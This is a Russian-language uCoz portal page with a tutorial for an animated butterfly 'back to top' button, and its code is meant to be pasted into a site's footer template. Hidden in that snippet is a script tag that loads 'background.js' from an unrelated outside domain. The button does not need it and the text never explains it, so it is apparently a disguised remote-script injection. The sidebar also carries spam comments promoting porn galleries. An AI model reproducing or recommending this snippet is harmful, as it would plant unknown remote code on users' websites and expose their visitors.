Вторник, 01.07.2025, 16:38


Главная
Онлайн уроки Регистрация ВходРеклама у нас / ПОМОЧЬ ПРОЕКТУ
Приветствую Вас, Новичок · RSS
Меню сайта
доска почета

brettnz69
Файлов:
10645

zyzy
Файлов:
2481

NIKIG
Файлов:
1190

didl3
Файлов:
1072
статистика
Онлайн всего: 1
Гостей: 1
Пользователей: 0

Сегодня были:

 
Главная » 2013 » Май » 3 » Уникальная кнопка Scroll To Top (наверх) для сайта

19:09
Уникальная кнопка Scroll To Top (наверх) для сайта
О том, как установить так называемую кнопку "наверх" на Ucoz, имеется достаточно информации. Тем не менее, я тоже вношу свой скромный вклад в описание этой темы.
Моя кнопка имеет пару существенных деталей, которые придают ей уникальность.
Во первых, мне всегда не нравилось то, что кнопка появляется сразу же после минимальной прокрутки страницы. Читатель еще не ознакомился с контентом, а уже "маячит" кнопка, призывая "наверх" и загораживает информацию на боковой панели. В моей кнопке есть настройка и вы сможете установить место страницы, когда она появляется (в середине поста, после или там где комментарии).
Во вторых, учитывая дизайн и специфику многих блогов моих читателей, я сделал анимированную кнопку в ввиде бабочки, что бесспорно является элементом уникальности.
И еще маленькая деталь - цвет при наведении на бабочку курсора, становится более насыщенным.

Установка:
Заходим в панель управления, далее Управление дизайном » Редактирование шаблонов » Глобальные блоки » Нижняя часть сайта. В самый низ вставляете код.

Код
<style>.b-top {z-index:2600;position:fixed;left:0;bottom:10px;width:34;opacity: 0.5;filter:alpha(opacity=50);}
.b-top:hover {opacity:1;filter:alpha(opacity=100);cursor:pointer;}
.b-top-but {z-index:2600;position:absolute;display:block;left:56px;bottom:0;margin:0 0 0 100%;padding:79px 12px 4px;
color:black;background: url(http://bambun.ru/site_img/c701ebd202c1.gif) no-repeat 50% 11px;border-radius:7px;}</style><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">$(document).ready(function(){
$(window).scroll(function () {if ($(this).scrollTop() > 1000) {$('#scroller').fadeIn();} else {$('#scroller').fadeOut();}});
$('#scroller').click(function () {$('body,html').animate({scrollTop: 0}, 400); return false;});
});</script><div id="scroller" class="b-top" style="display: none;"><span class="b-top-but">Наверх</span></div>
Просмотров: 284 | Добавил: greenpis | Рейтинг: 0.0/0
Всего комментариев: 0
Имя *:
Email:
Код *:
Copyright BENO Corp © 2025
кабинет
Вторник
01.07.2025
16:38

Требуются файловики за плату
Пользователей: 47495 Зарегистрируйтесь чтобы убрать рекламу
Предлагаем:
БЕСПЛАТНОЕ РАЗМЕЩЕНИЕ ВАШИХ СТАТЕЙ С ВЕЧНЫМИ ССЫЛКАМИ!
Онлайн уроки
Убираем значки запрета доступа, запуск приложений, перемещение профилей пользователей
Рисуем фантастическую миниатюру «Мать природа», How to Create a Fantasy “Mother Nature”
Флаг с анимацией движения на ветру
Рисуем шоколадный череп
Советы по Windows 7: меню загрузки, записи загрузки системы, восстановление системы
Отображение последнего пользователя, диспетчер задач, дополнительные темы, буквы дисков, пуск
Эффект крутящейся планеты
Создаем Meeting of Land and Water
Метод быстрого скетча
Создаем концепт лесного монстра
НОВЫЕ КОММЕНТАРИИ
Учимся создавать собственный форум My new hot project|enjoy new website
Учимся создавать собственный форум Scandal porn galleries, daily updated lists

Учимся создавать собственный форум My new hot project|enjoy new website
Учимся создавать собственный форум Sexy pictures each day
http://piet.re

Учимся создавать собственный форум Enjoy daily galleries
http://homesexv

Учимся создавать собственный форум Hardcore Galleries with hot Hardcore photos

Спасибо за такой объемный отзыв, людям интер

Книга очень понравиться представителям идеи

Всех порву кто против нас!

---

сорри за оффтоп, кто-то на форуме справшивал

и даже не сомневайтесь, всё так и есть

нет




Любая публикация опубликованная на софт портале предоставлена только для ознакомления и является авторским материалом. Администрация не несет никакой отвественности за размещенные новости, программы, статьи и ущерб не оплачивает. Копирование без авторского разрешения уголовно наказуемо законодательством РФ и Украины: "Об авторском и смежном праве". Если вы берете новость с сайта то вы обязаны поставить активную ссылку!
Карта сайта